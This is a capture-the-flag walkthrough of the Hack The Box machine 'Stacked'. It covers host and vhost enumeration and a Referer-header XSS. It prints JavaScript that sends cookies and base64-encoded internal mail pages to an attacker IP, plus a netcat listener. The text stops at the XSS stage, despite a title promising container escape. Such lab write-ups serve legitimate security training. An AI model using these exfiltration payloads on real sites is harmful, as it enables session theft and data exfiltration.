Docker Container Escape via XSS and RCE on HTB Stacked
Scanning host 10.129.228.28 with nmap revealed open ports: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41), and 2376 (Docker daemon with TLS). Port 80 hosts the domain stacked.htb after adding an entry to /etc/hosts. The main page contains an email field with no visible network traffic upon submission.
Directory brute-forcing with gobuster using common.txt yielded no results. Switching to virtual host enumeration with ffuf using subdomains-top1million-5000.txt with a word filter (-fw 18) uncovered portfolio.stacked.htb.
gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18
Analyzing portfolio.stacked.htb and LocalStack
The portfolio.stacked.htb site describes Stacked, a company using LocalStack—a local AWS service emulator in Docker containers. A docker-compose.yml file is available with exposed ports:
- 443 (HTTPS)
- 4566 (LocalStack API)
- 4571 (likely Elasticsearch)
- 8080 (Web UI)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up
The bottom of the page shows the creation year—a potential lead for further exploitation.
Discovering and Exploiting XSS
The personal data submission form on portfolio.stacked.htb reflects HTML tags with the message "xss detected!". Direct injection into the request body to /process.php fails even with double URL encoding.
Testing headers (User-Agent, Origin, Referer) revealed a vulnerability in Referer. The payload <script src="http://10.10.16.10/test.js"></script> executes successfully:
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();
Cookies are protected with HttpOnly. Switching to document.location revealed the origin: http://mail.stacked.htb/read-mail.php?id=2.
CSRF Attack via XSS to Access mail.stacked.htb
The new subdomain mail.stacked.htb redirects external requests. Through victim XSS, we implement a proxy:
- Inject
<script src="http://10.10.16.10/exploit.js"></script>. - The script requests an internal page, encodes it in base64, and sends it to attacker:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
if (this.readyState == 4){
data = btoa(req1.response);
let req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
req2.send();
}
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html
The inbox contains an email from Jeremy Taint about launching an S3 instance (id=1). CSS/images do not load due to network restrictions.
Key Takeaways
- XSS in the Referer header leads to JS execution in the victim's context.
- Base64 proxy via XMLHttpRequest bypasses Docker network restrictions.
- LocalStack docker-compose reveals internal ports and architecture.
- Vhost enumeration is critical when dirbusting fails.
- The ffuf word filter (-fw) solves dynamic error content issues.
— Editorial Team
No comments yet.